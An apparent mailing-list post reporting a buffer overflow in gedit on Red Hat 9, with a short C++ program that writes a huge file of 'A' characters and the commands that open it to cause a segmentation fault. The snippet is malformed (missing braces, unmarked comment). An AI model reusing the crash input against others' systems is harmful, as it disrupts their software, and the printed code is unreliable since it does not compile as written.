Subject: simple buffer overflow in gedit

I discover a strange but simple buffer overflow in gedit.
I am using RH9, 

to demostrate the buffer here is a simple file buffer generator:

===========buffer.c == cut here===============
	simple buffer overflow generator by MegaHz
#include <iostream>
using namespace std;
int main()
int i;
for (i=0;i<=9999999;i++)
        cout << "A";
        return 0;

# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
